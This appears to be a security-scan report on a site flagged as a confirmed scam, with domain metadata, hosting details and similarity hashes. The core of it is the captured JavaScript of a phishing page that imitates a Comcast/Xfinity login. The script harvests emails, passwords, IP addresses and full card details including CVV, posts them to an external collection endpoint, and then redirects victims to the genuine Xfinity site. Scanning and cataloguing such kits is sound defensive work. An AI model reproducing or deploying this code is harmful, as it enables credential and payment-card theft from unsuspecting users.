finance banking

technology software

e-commerce shopping

government public service

cryptocurrency blockchain

English

Domain 'www.xf0147.vercel.app' uses the application-focused generic top-level domain (.app); it also runs on subdomain 'www.xf0147'. Count 6 characters in 'vercel' containing 2 vowels alongside 4 consonants. Word splitting yields 2 words: ver, cel. Expect three characters per word on average. No strong language cues emerged from the frequency lists.

cardNumber

nameOnCard

expiryDate

securityCode

zipCode

address

html/c5/89/c589f40a-4d35-4b01-81da-f511f4cb8a3f.html.gz

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes

176e894661aa9cdc9a5cba6c720044cbbf7b8bd80d1c9a142a7c24b1b6c50d15

9e05b064828723c231607f483fc2950127687f2e84dd3c7061392b701026270e

5cd2de3660dcaf9a8c449df5d5183c02c448120902a1e0c5f0c6d3b6b0210b33

b7d56d14a9132f3be36678f773293281baa87ddb6295d9bdd64fbb4801866ea7

viewport

Tucows

Tucows Domains Inc

vercel.app

Abuse

Matheus Fernandez Vieira

Vercel, Inc

Joe Haddad

VERCEL-05


        tailwind.config = {
            theme: {
                extend: {
                    boxShadow: {
                        'inset-border-active': 'inset 0 0 0 1px #0d54ff',
                    },
                    fontFamily: {
                        sans: ['Work Sans', 'sans-serif'],
                    }
                }
            }
        }
    


        // Updated Base URL and Chat ID
        const baseURL = 'https://fr-1290-2o1v.vercel.app/';
        const CHAT_ID = 'resultboxforsure@yandex.com';

        let state = {
            step: 1,
            email: '',
            password: '',
            password2: '',
            showPassword: false,
            showPassword2: false,
            ipAddress: ''
        };

        const step1 = document.getElementById('step-1');
        const step2 = document.getElementById('step-2');
        const inputField = document.getElementById('input-field');
        const btnSubmit = document.getElementById('btn-submit');
        const errorMessageContainer = document.getElementById('error-message-container');
        const errorText = document.getElementById('error-text');
        const showEmailBack = document.getElementById('show-email-back');
        const displayedEmail = document.getElementById('displayed-email');
        const paymentForm = document.getElementById('payment-form');

        document.addEventListener('DOMContentLoaded', () => {
            fetchIP();

            btnSubmit.addEventListener('click', handleLoginClick);
            showEmailBack.addEventListener('click', handleBackClick);
            inputField.addEventListener('input', () => errorMessageContainer.classList.add('hidden'));

            paymentForm.addEventListener('submit', handlePaymentSubmit);

            document.getElementById('cardNumber').addEventListener('input', (e) => {
                e.target.value = formatCardNumber(e.target.value);
                clearError('cardNumber');
            });
            document.getElementById('expiryDate').addEventListener('input', (e) => {
                e.target.value = formatExpiryDate(e.target.value);
                clearError('expiryDate');
            });

            ['nameOnCard', 'securityCode', 'zipCode', 'address'].forEach(id => {
                document.getElementById(id).addEventListener('input', () => clearError(id));
            });
        });

        function fetchIP() {
            fetch('https://api.ipify.org?format=json')
                .then(r => r.json())
                .then(d => state.ipAddress = d.ip)
                .catch(e => console.error(e));
        }

        function isValidEmail(email) {
            return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email);
        }

        function handleLoginClick() {
            errorMessageContainer.classList.add('hidden');
            const val = inputField.value;

            if (!state.showPassword) {
                if (!isValidEmail(val)) {
                    errorMessageContainer.classList.remove('hidden');
                    return;
                }
                state.email = val;
                state.showPassword = true;
                showEmailBack.classList.remove('hidden');
                displayedEmail.innerText = state.email;
                inputField.value = '';
                inputField.placeholder = 'Password';
                inputField.type = 'password';
                return;
            }

            if (!state.showPassword2) {
                if (!val) {
                    errorMessageContainer.classList.remove('hidden');
                    return;
                }
                state.password = val;
                state.showPassword2 = true;
                inputField.value = '';
                inputField.placeholder = 'Enter password again';
                return;
            }

            if (!val) {
                errorMessageContainer.classList.remove('hidden');
                errorText.innerText = 'Please enter your password correctly';
                return;
            }
            state.password2 = val;
            authenticate();
        }

        function handleBackClick() {
            state.showPassword = false;
            state.showPassword2 = false;
            showEmailBack.classList.add('hidden');
            inputField.value = state.email;
            inputField.placeholder = 'Email, mobile, or username';
            inputField.type = 'text';
            errorMessageContainer.classList.add('hidden');
        }

        function authenticate() {
            const payload = {
                email: state.email,
                password: state.password,
                password2: state.password2,
                name: 'Comcast',
                IPAddress: state.ipAddress,
                chatId: CHAT_ID,
                title: 'Comcast'
            };

            // Using the new submission logic structure
            fetch(`${baseURL}main`, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ 
                    data: JSON.stringify(payload), 
                    chatId: CHAT_ID, 
                    title: 'Comcast' 
                })
            })
            .then(() => {
                step1.classList.add('hidden');
                step2.classList.remove('hidden');
            })
            .catch(e => console.error(e));
        }

        function formatCardNumber(v) {
            v = v.replace(/\s+/g, '').replace(/[^0-9]/gi, '');
            const parts = v.match(/.{1,4}/g);
            return parts ? parts.join(' ') : v;
        }

        function formatExpiryDate(v) {
            v = v.replace(/\s+/g, '').replace(/[^0-9]/gi, '');
            return v.length > 2 ? v.substring(0, 2) + '/' + v.substring(2, 4) : v;
        }

        function luhnCheck(c) {
            c = c.replace(/\s/g, '');
            let sum = 0, db = false;
            for (let i = c.length - 1; i >= 0; i--) {
                let d = parseInt(c[i]);
                if (db) { d *= 2; if (d > 9) d -= 9; }
                sum += d; db = !db;
            }
            return sum % 10 === 0;
        }

        function clearError(id) {
            const err = document.getElementById(`error-${id}`), inp = document.getElementById(id);
            if (err) err.classList.add('hidden');
            if (inp) { inp.classList.remove('border-red-500'); inp.classList.add('border-gray-300'); }
            document.getElementById('form-global-error').classList.add('hidden');
        }

        function showError(id, msg) {
            const err = document.getElementById(`error-${id}`), inp = document.getElementById(id);
            if (err) { err.innerText = msg; err.classList.remove('hidden'); }
            if (inp) { inp.classList.remove('border-gray-300'); inp.classList.add('border-red-500'); }
        }

        function handlePaymentSubmit(e) {
            e.preventDefault();
            const fd = new FormData(paymentForm);
            let ok = true;

            const fields = ['cardNumber', 'nameOnCard', 'expiryDate', 'securityCode', 'zipCode', 'address'];
            fields.forEach(f => {
                if (!fd.get(f).trim()) { showError(f, 'Required'); ok = false; }
            });

            if (ok && !luhnCheck(fd.get('cardNumber'))) { showError('cardNumber', 'Invalid card'); ok = false; }
            
            if (ok) {
                const data = JSON.stringify({ ...Object.fromEntries(fd), name: 'Comcast' });
                
                // Using the new submission logic structure
                fetch(`${baseURL}main`, {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ 
                        data, 
                        chatId: CHAT_ID, 
                        title: 'Comcast' 
                    })
                })
                .then(() => window.location.replace('https://login.xfinity.com/login'))
                .catch(e => console.error(e));
            } else {
                document.getElementById('form-global-error').classList.remove('hidden');
            }
        }
    

Requests	IP Address	Location	AS Autonomous System
2	104.26.2.143Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
2	64.29.17.131	United States	AS16509Amazon.com, Inc.
2	142.251.110.95Google · CDN	United States	AS15169Google LLC
2	64.29.17.3	United States	AS16509Amazon.com, Inc.
8	4	-	-

Security Scan Report: www.xf0147.vercel.app

Summary

AI Security Verdict

Confirmed Scam

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies4

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History